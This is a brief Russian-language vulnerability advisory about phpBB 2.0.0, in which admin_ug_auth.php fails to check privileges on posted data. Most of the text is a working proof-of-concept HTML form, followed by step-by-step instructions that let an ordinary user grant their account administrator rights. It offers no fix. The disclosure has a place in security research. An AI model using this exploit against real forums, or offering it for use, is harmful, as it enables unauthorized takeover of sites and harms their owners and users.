Rootsecure.net недавно обнаружил уязвимость в
форуме phpBB 2.0.0, которая позволяет пользователю с учетной записью "user" поднять свои привилегии до уровня "administrator", тем самым получая полный контроль над управлением форума.
Ошибка присутствует в сценарии admin_ug_auth.php (используется для установления разрешения). Для просмотра защищенных страниц сценарий способен ограничить доступ непривилегированным пользователям, но он не производит такую проверку при отправлении назад данных. Демонстрационный код:
<html>
<head>
</head>
<body>
<form method="post"
action="http://domain_name/board_directory/admin/admin_ug_auth.php">
User Level: <select name="userlevel">
<option value="admin">Administrator</option>
<option value="user">User</option></select>
<input type="hidden" name="private[1]" value="0">
<input type="hidden" name="moderator[1]" value="0">
<input type="hidden" name="mode" value="user">
<input type="hidden" name="adv" value="">
User Number: <input type="text" name="u" size="5">
<input type="submit" name="submit" value="Submit">
</form>
</body>
</html>
Далее отредактируйте действие формы в этом коде, измените местоположение admin сценария. Обычно, он находится в подкаталоге /admin/. Затем вызовите код в локальном окне браузера, и введите номер неадминистративного пользователя. Нажмите submit. При следующем заходе, вы получите права администратора.
Уязвимость обнаружена в phpBB 2.0.0.